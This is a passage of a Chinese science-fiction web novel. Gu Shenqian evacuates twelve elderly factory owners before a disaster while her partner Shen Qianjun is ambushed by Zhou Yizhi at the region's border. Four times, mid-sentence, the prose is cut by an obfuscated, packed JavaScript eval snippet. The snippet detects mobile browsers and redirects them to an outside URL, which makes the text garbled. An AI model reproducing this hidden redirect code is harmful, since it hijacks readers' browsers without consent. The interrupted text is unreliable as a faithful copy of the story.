顾深浅对上吴源明带着审视的视线,褐瞳渐深。 二人暗流涌动间,会议室的门忽然被敲响了。 顾深浅微微侧首,霍普推开一条缝进来,在她耳边低语。 她脸色突变,视线扫过在场众人,忽然说:“让她进来。” 霍普微怔,也扫了眼对面:“可是……” “没事。”顾深浅重复了一遍,“让她进来。” 霍普不再多言,过去开门。 吴源明等人目光追随着霍普,汇集在他转动门把的手。 顾深浅默默深吸了一口气,终于没忍住,微微侧首。她看见霍普颔首,越来越近的脚步声从外面传来,她下意识地屏住呼吸。 门外的人终于走了进来,她身上依然是挡不住的清贵,笑容端庄得体地环视一圈,最后与她的视线相交。 她们会心一笑。 解家接二连三的风波似乎丝毫没能影响到她,她还是那个出身世家的贵族,举手投足间是从小养出来的风度。 和此前特监处那个颓丧的女孩儿判若两人。 这才是解思涵该有的样子。 霍普很有眼力地在她旁边安置了椅子,解思涵大大方方坐下。 吴源明问:“不知这位是?” 顾深浅收回目光,缓缓说:“解氏集团当权人,解思涵。” “各位好。”解思涵下巴自然而然地微微抬起,不带笑的模样显出几分冷淡,“时间紧迫,我就直说了。” 她打开光脑权限,几份文件林立在中间。 “第一份是解氏对‘极光专贩’的注资合同,上面陈列了三种股权分割方案,诸位可以自行翻看。但无论是哪种,解氏都会承担所有工人这两年内的食宿问题,无偿支持贵司的食品研发。” 十二位年长者都或长或短地愣怔,依然是吴源明最先回过神,逐页翻看起合同。 顾深浅目光不自觉落到解思涵身上,却正对上她的视线。 她挑了挑眉,见众人都在研究解思涵带来的方案,干脆起身出门。 解思涵自然跟着。 区议会的人一早就出外勤组织撤离了,大楼里剩下的人寥寥无几。此刻走廊上只有他们两个人,脚步声一致的回音也齐整。当一个人停下时,多少显得突兀。 解思涵跟着停下:“你不该来的。” “你怎么会来?” 顾深浅眯起眼,解思涵却似乎并没有隐瞒的意思:“三城天灾这么大的事,解氏不可能坐视不理。家族的名声被某些蛀虫害得一落千丈,要重新挽回声望,这样雪中送炭的机会很难得。” 确实。 解家因为之前的案子几乎翻了天,是解思涵力挽狂澜撑住了大局,这半年才算有点起色。现在的解氏,相比起其他,他们最不缺的就是钱。 三城天灾下,当权人亲临现场的帮助远比任何慈善活动能挽回名声。 “我给你发了很多信息,让你离极光区远点。”解思涵说,“你都没收到吗?” “收到了。”顾深浅半真半假地说,“好奇你为什么发给我,没琢磨明白,你就来了。” “……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660646|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真是。”解思涵似乎勾了勾唇。 “所以,你为什么会发给我?”顾深浅直问,“那时候三城天灾的预告根本没有发布,我人好好的在曼城,你却突然提醒让我远离极光区。为什么?” “因为一个预言。”解思涵说,“那个人预言以极光区为中心的范围内会有天灾降临,你会在这里遇到人生的关键节点。具体不能多说了,你自己想吧。” 顾深浅意外了一瞬。 没想到沈千禾不仅不惜自爆身份也要提醒她和沈千峻,甚至还做了二手准备。 如果只是看到她和沈千峻晕在极光区,有必要做到这一步吗? 天灾降临,人生节点,这些细节沈千禾都没有提过。 为什么? 是骗思涵的?还是再和她说的时候没有看到,后来看到了所以告诉解思涵,做了第二步计划? 还是故意隐瞒她? 解思涵不知道顾深浅心里闪过的许多念头,周遭再次安静下来,她踟蹰了半天,忽然开口说了句:“谢谢。” “嗯?” 顾深浅回过神,刚想问她谢什么,见她偏向一边的脸和躲闪的视线,忽然就都明白了。 她莞尔着说:“等回去了,请我吃顿螃蟹。” 解思涵:“?” “怎么?”顾深浅挑眉,“你就嘴上道谢?” 解思涵愣了愣,也笑了起来:“外面坐着的一大群工人我都给你遣散回去收拾东西了,这不得你请我?” “行呗。” “我挑地方。” “超过三百你请。” “?”解思涵笑容裂了条缝:“你破产了?我倒是不知道你这么抠。” 顾深浅翘着嘴角:“你不知道的多着呢。” 二人回到会议室,还没进门,门缝里就溢出了十二位老人的激烈讨论。 她们对视一眼,一前一后进去。刚才还嘈杂喧闹的会议室蓦地安静下来,汪真看了她们一眼,担忧的视线最终落在吴源明身上。 直到她们落座,吴源明才开口说:“解氏的三种方案,我们刚刚已经讨论过了。很感激解氏在这个时候伸出援手,三套方案都很公平,我现在这里代极光专贩的全体员工,感激您和贵司。” 说着,老人站起身,向解思涵和顾深浅的方向分别鞠躬。 “我们几个讨论下来。以极光专贩的运作模式,您给出的第二套方案是相对最合适的。具体的细节可以后面再慢慢定,但有件事,希望我们现在就能达成一致。” 解思涵:“您说。” “无论极光专贩从此姓什么,我希望您能保证,在场这些老伙计,都能安享晚年。” “这是当然。” 解思涵有如神兵天降,顾深浅先前准备的后招都省了,本该最费劲儿劝导的撤离顺利解决。霍普跟工作人员一起处理后续,顾深浅终于有时间慰问一下她那久未联系的绑定对象。 光脑刚一打开,弹出的却是织梦的紧急通讯。顾深浅意外地看着两位数的未接通讯,感觉胃都沉了下去。 通讯接起,织梦的声音传出:“我联系不上老大了。” 105. 纯粹 织梦一句句难掩焦急的话语接二连三在顾深浅耳边炸开,有那么短暂的一瞬间她似乎陷入了一整片黑暗,眼前的景色、耳边的声音全都消失,只剩下轰然的耳鸣,震耳欲聋。 左手及肩传来的疼痛勉强让她清醒,她握着拳的指甲已经掐进肉里,红得充血。顾深浅另一只手撑起撞在墙上的半个身子,织梦急切的声音再次入耳。 “……我刚到城区就见到了陆续回家的工人,想先给老大报平安时候,却发现他和徐飞扬都失联了,一个都联系不上。内线频道失联只可能是隔离结界,老大在等我的消息,徐飞扬远程指挥着先锋队的城防工作,他们都不可能主动落下隔离结界。也就是说……” “有人困住了他们。” 顾深浅闭着眼接道,她捏了捏鼻梁,才发现刚才困囿她的黑暗实际上连两秒都不到。 思考能力接二连三地回笼,她冷静地说:“把他们的坐标同步给我,你现在在哪?” “同步给你了。我刚离开城区。”织梦说,“半个小时内,我能赶到。” “好。”顾深浅的声音听上去很镇静:“未必就是最坏的情境,先别自己吓自己。三城城防进度怎么样?” 织梦:“我离开的时候他们已经在最后一个点了,老大消耗很大,按照原来的计划应该在两个小时后进行最后的加固。” “他们俩都不在,按规矩谁管事?三城的撤离工作能正常开展吗?” “乔森管外部,杨楠管内部。”织梦顿了顿,补充道,“加固工作开始,除了先锋队还在向徐飞扬汇报进度,其他都已经统一报给乔森了,杨楠现在是机动状态。如果没有特大意外,应该不会影响三城。” “好。”顾深浅说,“你……” “顾工!顾工!” 顾深浅的话被一道洪亮的声音打断,她顺着声源望去,是当地办事处的警员。他飞奔着跑来,人未至声先到:“吴厂,吴厂长他们不见了!” 她握着拳的力度加大,手上露出隐隐的血色,厉声说:“不见了派人去找,你找我干什么?我是在他们身上装了定位还是能告诉你他们又在整什么幺蛾子?训练营培养你这么多年就教会你什么事都来问别人?” 警员被她劈头盖脸一顿训,脸色青一阵白一阵,有苦说不出似的抿紧唇。 “顾工,你冷静点。”织梦在通讯那头说,“我马上回过去,有任何情况都会同步你。你现在没有精神技能,身边连个战甲都没有,过来反而危险。最重要的是,顾深浅,你有你的责任。” 顾深浅呼吸微微颤抖,闭眼遮住了眼底的痛意,她长长呼出一口气:“注意安全。一旦你失联超过一小时,我从办事处偷一架战甲也会过去。” 织梦勾唇:“放心,不能让你沾上偷窃军用设备的重罪。” 警员听不到那头的声音,只把顾深浅的话当了真,圆眼睛猛地瞪大。 通讯结束,顾深浅歉疚地说:“不好意思,刚才是我着急了。怎么回事你细说。” 警员还没回过神,磕磕巴巴地说:“哦哦,那什么,签完合同大家不是就散了么。我送解小姐走,霍普安排车送吴厂长他们回住处,结果刚才发现哪儿都找不着他们。有家属在的几位等不到人,都急死了。按理说他们住处都在另一边城区,没那么好走,而且知道咱们在安排车,不应该一声不吭地偷溜,我就是觉得奇怪。” “那个,我已经派人去找了,如果他们回了住处,第一时间就会来消息的。”他挠挠脑袋,“我怕里边还有什么变故,这事儿又是您主导,所以第一时间就来跟您汇报了。” “刚才的话别往心里去。”顾深浅说,“没有怪你的意思,你做得很好。” 警员愣了愣,展开笑颜:“好嘞。” “霍普呢?” “哦,他也一起去找人了。” 顾深浅直接呼出了通讯,对面接起得很快,霍普的声音传出:“这么巧,我正呼你呢。” 她置入主题:“人找到了?” “当然。”霍普说,“你猜猜在哪?” 顾深浅眼前是早就打开的北极光区地图,她放大了区议会方圆五公里的部分,微微眯眼:“极光专贩的工厂?” “咦?你怎么知道?” 顾深浅扯了扯嘴角:“总不能比你还笨。” 霍普:“?” 通讯结束,见她抬脚向前,警员迅速跟上:“您去工厂吗?我带您去吧,我熟。” 顾深浅没有拒绝,上车时她忽然问:“你向谁汇报?” 警员说:“北极光区目前没有负责人,日常工作是我在统筹,大一点的事儿都是汇报徐队来决策。这次协助您的工作,也是直接汇报给徐队。” “你上一次跟他汇报是什么时候?” 警员想了想:“您让我去买东西的时候。后来一直在忙,还没顾上呢。” 顾深浅脸色更沉了:“现在联系他。” 警员没敢多话,迅速联系徐飞扬,可呼了三遍通讯依然没有接通。他略尴尬地说:“徐队可能在忙,我给他留言了。” 顾深浅重重地呼出一口气,阖上了眼。 老人们的住处距离区议会大楼不算近,而极光专贩的工厂却不算远。 平日里人来人往的工厂区这会儿显得萧条异常,联盟的第一批撤离飞行器就要到了,工人们都忙着收拾撤离的行李,厂区对大部分人来说不过是个糊口的地方,没有那么多留恋。 此刻,坐落着北极光区近一半食品加工厂的园区道路上,路灯昏黄,不见人影。 车忽然在路中央停下,顾深浅收回落在车窗外的视线:“怎么了?” 警员说:“看见他们了,霍普也在呢。” 她走到车前排,一眼就望见了吴源明他们。 十二位老人和在议会大楼前一样打着坐,不同的是这次他们没有再分成两排,而是围坐成了一个圈;神色也不像区议会大楼时那样肃然端庄,他们不知在聊着什么,每个人脸上都是发自内心的笑意。 霍普远远地倚在树上,见到他们便径直过来,轻车熟路地上了车:“来得还挺快,我以为你得抽一队人呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678804|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 顾深浅不理他,直问道:“这又闹什么呢?末日狂欢?” “差不多吧。这会儿正追忆往昔呢,在聊其中两位领导年轻时候同时爱上同一个女孩的失恋史。”霍普说,“起初是吴源明不想走。讨论方案的时候他就一意孤行,要把自己的股份全部转到其他十一个人名下,说自己没几年活头了,要和工厂共存亡。这十一个人哪肯答应?没谈拢呢你和那位解老总就回来了,他们只好告一段落。” “所以一听说他们不见了,我就想着先来这儿看看。”他咧嘴笑道,“运气还不赖。” 顾深浅:“我没记错的话,他们几个刚刚和解思涵签了合同。他们都在这儿给一个工厂殉葬,极光专贩以后怎么办?送给解氏?” “好问题,在你们到之前五分钟,他们刚刚解决了。”霍普说,“他们刚刚起草了一份股权转让同意书。” “转给谁?” 霍普垂眸勾唇,目光扫向不远处圈坐的人群:“极光专贩的每一个员工。” 顾深浅一眼望去,他们不知聊到了什么,吴源明笑了起来。和顾深浅今天见到的任何一种笑容都不一样。 是纯粹的快乐。 她久远的记忆中,似乎也见过这样的笑容。 啧。 顾深浅的烦躁再也遮不住,无情下令:“全部打晕塞进第一批撤离的飞行器,确保飞行器起飞前他们没有行动能力。” 霍普听过一次“全部打晕”言论,对此只是扬起嘴角,利落地下了车。 警员脸上的惊恐还来不及藏,就被迫和“元凶”共处一室,又开始磕巴:“顾顾顾……” “我不是你姑,清醒点。”顾深浅说,“你也下去,极光区的人员调动他办不到,找你的人来配合他。” “啊?” 顾深浅淡淡地扫他一眼:“没懂?” 他打了个寒战:“懂,懂!” “懂还不去?” 警员诚惶诚恐地下了车,终于发现哪儿不对了:“不是,顾工,我的核心任务是保护你啊?!” 然而带上的车门没有给他说话的机会,下一秒就疾驰而走,转眼间就不见了踪影。 此时此刻,北极光区的分界线上,冰雪覆盖了每一寸土地,风里都是凛冽的寒冷,一阵又一阵吹打在人暴露的皮肤上,带着刺骨的疼。 沈千峻就躺在这样的冰霜里。 他面容安详,看上去似乎在做着前所未有的好梦。 织梦以超乎常人的速度赶回时,看到的正是这一幕。 本该跟在他身侧的徐飞扬不见踪影,而那个他城防最熟悉的孩子,半跪在沈千峻身旁,二指并拢点在沈千峻的额头。 如果说路上感应到周亦知时他还心存侥幸,一路上对他畅通无阻的隔离结界几乎就是铁证。 可一切都比不上亲眼见证这一幕来的冲击力。 周亦知似乎听到了他的动静,他抬眼望过来,织梦来不及躲闪,二人视线交汇,空气静止在这一刻。 对视间,周亦知勾起了唇。 106. 对峙 北极光区的边境线,夜色下是茫茫雪色,铺着流转斑斓的极光,天地中间还藏着一道人力建成的屏障。 “这怎么一件接一件的,事儿都赶到一块了。” 目送织梦离开,徐飞扬嘀咕:“说实在的老大,你何必让她去。极光区虽然没个能顶事儿的,但我们有先锋队随行,派一队的哪个区摆不平?顾深浅的精神力也足够强,甚至比一队更适合做加固。你让她去处理撤离事务,怎么看都不是最优解。” “对你来说不是。”沈千峻望着远方的天,淡淡地说,“对她来说,事情办得不圆满,就是最优解。” 徐飞扬目光错愕:“不圆满?什么意思?” 沈千峻却沉默下来,他眺望着远处,缓缓地说:“刚认识她的时候,我想保护她。后来她……消失了,我一直在找她,找了很多很多年。那时候我想,一旦找到她,我一定把她锁在身边。” 徐飞扬在他旁边席地而坐,胳膊耷拉在膝盖上:“然后你找到她了。” “是。”沈千峻说,“然后我发现她不喜欢被锁着。” “所以,你这是决定放开手让她自己成长?”徐飞扬品出来一点儿,咂咂嘴,“就因为她不喜欢?” “看不出来,我在你眼里这么善良。” “……”徐飞扬无语地撇嘴,“那为啥?” 沈千峻说:“你还记得我上次昏迷了多久吗?” “什么昏……”徐飞扬话音猛地一顿,明白了沈千峻的意思,他嗓音干涩:“六年零三个月。” 自从云汉一号建立,为了维护云汉一号的不断运转,每到杨楠生命终结之时,都会将死亡转移给沈千峻。 玖安给了沈千峻永生,可每次的死亡都有代价,他的身体会分解重组,陷入漫长的沉睡。没有人知道他会多久才能醒来,但确定的是,这二百年来,他沉睡的时间每次都在逐渐递增。 他陪着沈千峻经历过两次这样的死亡。 即使知道他会醒来,知道他不是真的消散,每一次都依然是刻骨的悲哀。 他作为朋友尚且如此,和他有着永久绑定的顾深浅呢? 纵使情绪可以慢慢消解,可他如果始终不让顾深浅成长,一旦他再“死”一次,他沉睡期间如果发生了不可控的事,顾深浅又怎么办呢? 徐飞扬忽然说:“当时你非要她,就是想让她管极光区吧。” 沈千峻但笑不语,徐飞扬“嘶”了声,不解地问:“不对啊,那你为什么说不圆满是最优解?” 这次他沉默了更久,久到徐飞扬以为他不会回答了,他却终于开了口: “她始终得明白,有些时候,死亡才是最优解。” 徐飞扬张了张嘴,想说什么时却发现沈千峻已经阖上了眼,百年如一日的眼角透着疲态。 他把话咽了回去,其他人却没这眼色。 夜色下传来男人的嗤笑:“你又不是她爹,还负责教她做人?” 徐飞扬蓦地站起来,防御结界跟着他的动作在二人外侧铺开,他厉声喝道:“什么人?” 藏在夜色里的男人却只是笑,伴随着他的笑声,一道精神力飞速指向徐飞扬。铺开结界的徐飞扬起初并无顾忌,可出乎他预料的是,这道精神力竟然穿过了他的结界直直冲来。 他再想闪避的时候已经来不及,精神力打入他眉心,徐飞扬倒在原地。 徐飞扬的结界跟着散去,男人不疾不徐地走近,露出真容——周亦知。 他甚至没多看地上的徐飞扬一眼,只是捏了捏左手手心,掀起眼皮:“挺淡定啊,沈千峻。” 沈千峻这才幽幽睁眼,动作迟缓地站了起来,任谁都能看出他的虚弱。他胳膊搁在车上,脸上早已没有了刚才和徐飞扬交谈时若隐若现的柔和,冰冷得掉渣:“我倒是没想到,放你走了一次,你还敢再在我面前出现。” 周亦知挑了挑眉:“我也不想,有点事。” “来找死?” 他的力量不动声色地铺开,直到围成大范围的隔离结界,也没能感受到自己心心念念的人,周亦知啧声,直入正题:“来杀你。就你现在这副尊容,能不能高低有点自知之明?你连我一根头发丝都碰不到了吧。” 话落,暗紫色瞬息间划过,周亦知半长的头发被整齐地切下了一缕,飘散到他手里。 沈千峻两指夹着他的头发,笑容轻蔑:“就这?” 他的力量控制得很精准,不多不少地刚好切下他这一缕头发,甚至连让他踉跄一步的力道都没有。 周亦知本来确定他现在状态已经非常虚弱,可这样精准的力道控制又让他吃不准了。 沈千峻黑晶的眸比平时更暗,他漫不经心地上下打量着周亦知:“上次给你打成那样,还敢让你来杀我。要么不把你的命当回事儿,要么拿准了我现在很虚弱,打不动架。看你这样子,恐怕两种都有。” “还有闲心操心我的事儿,沈教官,不愧是训练营的大保姆,”周亦知说,“与其操心这些,不如想想你自己。三城的城防加固,没有支援,没有后盾,连能够加速你恢复的精神系都不带。你就算天神下凡,还能撑多久?” 周亦知说着话,人却一直站在原地没有动作。 他们二人像是捕猎的猛兽,各自虎视眈眈地盯着对方,都在等待着更好的时机出手。 沈千峻:“三城天灾跟虫子有关系吗?” 周亦知:“你为什么觉得我会给你答案?” 沈千峻:“你现在就在给我的答案。” “啧。” 周亦知正要说话,却忽然感受到了隔离结界的异动,脸色登时难看起来。再看向沈千峻时脸色已经沉了下来:“不好意思沈教官,我来不及了。” 沈千峻挑眉。 二人几乎同时动起来,周亦知的精神力比上次又快了一倍,紧紧地追着沈千峻打。 而一旦真正动起手,沈千峻的伪装几乎全部暴露,他现在虚弱得可怕,正如周亦知的猜测,能站起来都已经让他耗尽了全力。疾速地躲闪没两步就开始显出慢下来的迹象。周亦知的精神力穿透他眉心时,刚好听到了熟悉的车声。 啧。 还是慢了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702789|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步。 周亦知扭过头,在最后一秒挥开了徐飞扬,藏到不远处的石头后面。 车声停下,织梦的脚步声一点点逼近。 他烦躁地闭上眼,再睁开时,眼底的情绪都被完美地藏了起来。 他抬头望去,勾起唇角:“好久不见。” 织梦的声音中带着不难察觉的颤抖:“你杀了他?” 周亦知笑容玩味:“活着呢。你想我杀他吗?” 织梦看着眼前的人,突然感到了一丝陌生:“你说呢?” 周亦知嗤笑一声。 织梦逼近一步:“你对他做了什么?” 周亦知眼底不带温度:“我从来不喜欢你关心别人的样子。老、师。” 织梦一步步走近,他停在沈千峻边上,自上往下俯瞰着周亦知仰起的脸。他似乎还是他认识的模样,却又与他记忆里的完全不同。 他忽然笑了声蹲下,周亦知看着他的手,没说什么。 他比任何人都清楚,就算是织梦,现在要做什么也不可能做到不动声色,但今天的局面,他一旦察觉,就不可能不动。 织梦的手要挨到沈千峻时,周亦知蓦地擒住他的手腕:“够了。” 他直视他的双眼,一字一句地说:“我说了,他活着。” 织梦忽然开口:“周亦知。” 周亦知几乎有些呆地应道:“在。” “海朝府那天,你逃走之后,我跟他聊过。” 周亦知一愣:“什么?” “我问他……” 织梦回忆起了那一天,顾深浅要到天龙心满意足,散会后会议室里只剩下他们两个,他没忍住,踌躇着问沈千峻:“老大,如果你忘记那个人,她触犯了你的底线,你还会愿意记起他吗?” 他至今还记得沈千峻当时的模样,他只是笑了笑,脱口而出:“我相信她。” 他说给周亦知听,然后问他:“周亦知,我能相信你吗?” 周亦知看着他,眼神复杂地沉默着,不知道在想什么。 然而就在他沉默的这一点点时间里,不属于他的,细微的精神力,正穿过他点在沈千峻额头的手指,试图进入沈千峻的精神领域。周亦知猛地回神,防御顿时竖起。他怒不可遏地甩开他的手,咬着牙说:“你怎么能……” 你怎么能用这样的话诈我。 织梦脸上毫无愧色:“我要救他。” 周亦知阴着脸:“如果我偏不让呢?” 织梦语气平静得仿佛只是在讨论今天吃什么:“那就打一架。” 他笑得讽刺:“需要我提醒你,上次我们打架的结果吗?绑、定、对、象。” 他故意言语刺激他,想看他羞恼,想看他阴翳,想看他再次为他的话动容。 可是都没有。 织梦只是平静地看着他:“公平比试,我赢了,人我带走;你赢了,我和他都随你处置。” 他不答话,织梦说:“比不比?一句话。我赶时间。” 周亦知终是意味不明地笑了。 “比。” 107. 信仰 所有人都以为顾深浅是不会开车的。 无论是特监处手动驾驶的标配,还是织梦自动驾驶的顶配,从没见顾深浅沾过手。 她名下有不止一处房产,却从没有一辆代步工具。 这个误解在她开着区议会的配车扬长而去时画上了句号。 而事实上,顾深浅甚至没有参加过驾驶考试,对于光轮车的了解仅限于为数不多的几次公开课以及对于光学引擎的探讨交流会。 但并不妨碍她此刻将这辆持重的老古董开出了极速飙车的魄力。 光轮车驶入无人区的旷野,心神不宁的顾深浅终于收到了来自织梦的讯息:【人员平安,项目顺利,安心。】 紧接着是第二条:【优先你的事,不用过来。】 这不对。 顾深浅眉头锁得更紧,光轮车不仅没有调转方向,反而加速向前。 她的焦躁非但没有平息,反而愈演愈烈。 光脑呼给织梦的通讯再次石沉大海,也就是说,隔离结界不仅没有消散,而织梦在给她发完讯息后就进入了结界内。 最合理的情况,织梦穿过隔离结界时就感知到了结界是谁布下的,而他认为这个人是安全的,所以第一时间给她报了信,之后进入了结界。而出于某种原因,隔离结界依然存在。 能布下困得住沈千峻的隔离结界,同时让织梦认为安全的人,并没有那么多。 顾深浅能想到的,只有那一个。 周亦知。 顾深浅距离织梦给她的定位越来越近,通讯响起,是此刻本该扣着十二位老人上第一批撤离飞行器的霍普。 她面色不愉地接起:“说。” “顾工你在哪儿呢?”霍普听上去有点急,“出了点意外,你这会儿能过来一趟吗?” “……啧。” 五秒后,光轮车一个急刹在路边停下,顾深浅压下自己的情绪:“细说。” 他的背景音愈发嘈杂,霍普匆忙说了句“等下”,走到人少的角落快速说:“我第一次下手,没什么轻重,没想到人上了飞行器就醒了。那十二位发现自己被暴力转移,情绪都很激动,现在好几个脖子上都横着刀呢,非要我们放他们走。要不是联安署几个警员维护着秩序,整架飞行器都得闹起来。” 霍普回头看了眼,补充说:“看现在这架势。恐怕也快了。” “……” “你真得过来一趟。” “没法再打晕一次?” “他们现在戒心重了,我都打不着,更别说他们了。” 她默默长吁一口气:“吴源明呢?他也横着刀?” “那倒没有。”霍普说,“他劝那几个人放下刀,一直在跟我们交涉,要求人身自由。也是他要求,要跟你面聊。” 顾深浅拳头一点点攥紧,扣到她的伤口处勾起细细密密的疼,又一点点松开。她眼里映着苍茫黑夜里的缕缕极光,掩盖起了更深的东西。 明明就在眼前了。 只要再往前一点,再给她哪怕半个小时,她就能确认他平安。 她说:“先让我跟他通话。” “好嘞。” 霍普打开了视频影像,顾深浅终于看清了飞行器内的情况。过道左右探着几个脑袋,都在往一个方向窥探。每道门前都守着联安署制服的警员,霍普最后抵达的包间门口最多,足有一队人守着。 顾深浅跟着霍普的镜头看到里面,和他描述的一样,四五把刀明晃晃地握在几位老者手上。吴源明正在和其中两人交涉,他们手上的利刃本已放下一半,在看到进入的霍普时又抬了起来。 吴源明无奈地暗叹。问霍普:“顾组长还没来吗?” 顾深浅的声音传来,“霍普,打开视频通讯。” 随着她的话音落下,身处黑暗中的顾深浅浮现在众人眼前,她神色淡淡,眼尾透着冷漠:“吴厂长。” 吴源明脸上还是一样的笑意,话却没那么客气了:“顾组长,您这是什么意思?” “我好像就一开始就说过了,我希望各位能够接受联盟的帮助,在灾难降临前撤离北极光区,希望所有人都能活下去。” 顾深浅加重了“所有人”的咬字,说:“我以为我说得很清楚了。” 吴源明说:“顾组长,我也希望您明白,哪怕今天是联盟最高领导人站在这里,也不能挟制公民的人身自由。您的做法不大妥当。” “是,今天的举动是我冒昧了。”顾深浅说,“等您回到首都,可以尽管向相关单位起诉我,任何后果我一力承担。” “你凭什么!”不等吴源明开口,汪真怒气冲冲地瞪向她:“我们有权利决定自己的生死!你算什么人?凭什么替我们做决定?!” 顾深浅面上不动声色,心下却怔了怔。 吴源明拦住她,说道:“姑娘,我们都知道你是好意,也没想给你们的撤离工作添麻烦,该尽的义务,该交代的后续事宜,我们都已经安排好了。” 他说:“但包括我在内这十二个人,我们有自己的追求,也有权利选择自己的路。” 顾深浅半垂着眼帘,看不清眼底的色彩:“你们所追求的就是死亡吗?” 吴源明笑意竟然真切了几分:“是。” 她说不出话了。 她见过不想活的人,二百年前就见过了。 从她第一次见他,他就已经不想活了,是她一厢情愿地给他新生; 而当她即将消散,为了保护这个地球,她要他永生。 没问过一句他愿不愿意,没想过一次他疼不疼。 ——“你要去做的事,比我们更难,也更重要”。 他安排她来处理这件事,不是单纯地为了保护她。 二百年了,他要她再选一次。 霍普见她沉默了太久,小声喊道:“顾工?” 顾深浅缓缓抬眸,眼中平静无波:“放他们走。” 霍普一怔:“可是……” “我说,”顾深浅打断了他,“放他们走。” 吴源明挥了挥手,身后几人对视一眼,纷纷收起了匕首,唯有汪真的手依然横在脖子上:“等出去再说。” 顾深浅突然说:“我还有一个疑问,希望这次您能如实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723415|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答我。” 吴源明:“请说。” “还是之前那个问题。”顾深浅说,“寻常人看到官方通知天灾降临,第一反应都是收拾细软,准备避难。为什么您却会质疑消息的真假,做这些事?” 吴源明眼中是不易察觉地闪躲。 顾深浅压低了声音,又问他:“是不是有人跟您说过什么?” 吴源明:“没有。” 顾深浅挑挑眉:“好。” 霍普望着光脑里的顾深浅,直觉她似乎有哪里不一样了。 十二人在霍普的带领下一路穿过过道,穿过众人或疑惑或指点的目光,来到出入口。汪真走在最后,直到离开飞行器,她依然横着刀面对霍普一干人。 霍普半张脸挡在兜帽底下,扯了扯嘴角:“我们顾工言出必行,说了让你们走就不会反悔。各位一路走好。” 汪真执拗地架着刀,吴源明拍了拍她:“走吧。” 她望向吴源明,在对视中放下刀,跟着大家离开。 霍普目送他们远去,嘴角逐渐放下,对身后的联安署警员说:“走吧,还有一群人要咱操心呢。” 而就在他转过身踏出第三步时,身后却响起了极低的枪声。 一般人或许无法察觉,但霍普作为机械生命,对这个声音太敏感了。 是搭载着高强度消音器的消音枪声! 霍普震惊地回头,发现十二位老人的背影纷纷倒下,刚刚站在他背后的联警员不知在向谁汇报:“目标已全部击倒。好的。” 他一个眼神,其他警员纷纷上前,他似乎这才注意到没离开的霍普:“哦,是麻醉枪,用量很精准,24小时内他们不会醒过来。” 霍普:“不是,顾工不是说了吗?让他们走啊。” 警员:“顾工同时跟我说,在他们走的时候击晕带走。” 霍普:“……” 警员笑了:“还得谢谢你呢,要是那人一直不转过去,我们偷袭不会那么顺利。” 霍普:“……不客气。” 言出必行的顾工收到警员的汇报,没什么表情地掐了通讯,静静坐在驾驶位,却没有启动光轮车的动作。 而她面前竖起的,是只有某些人能看到的屏障。 周亦知的隔离结界。 布下结界的是周亦知,所以织梦穿过结界前就能感知到。 织梦知道她把周亦知当舅舅,不知道周亦知和沈千峻的合作,理所当然会认为周亦知和沈千峻是敌对方,无论结局如何,都不会想让她掺和进来。 而沈千峻起初让织梦来找她,既是为了织梦避开周亦知,也是让织梦来看着她。 他想让她理解并尊重他们自我意志的追求,想让她理解死亡才是某些人的真正归宿,理解对某些人来说,如果非要失去他们视作信仰的东西,不如和信仰一起灭亡。 她理解。 所以呢? 顾深浅眸中金光乍现,金色元素一点点从她身边四散开来,比任何一次都更炽烈。 区别于极光的金色肆意闪耀,在浓浓夜色里,慢慢走下了光轮车。 108. 坦诚 徐飞扬破开梦境时首先感知到的就是头痛欲裂,继而慢慢恢复知觉,才发现雪地几乎把他整个人冻僵了,要不是有着强化过的体魄,这会儿人恐怕已经废了。 治愈的精神力淌过他的经络,徐飞扬感知一点点恢复,他扶着一旁巨大的石壁站起来,观察四周,发现自己仍在北极光区的边境线,只是被挪到了旁边的石阵里。 依他这一身伤来看,挪动力度可不轻。 除了周亦知那小子,也没别人了。 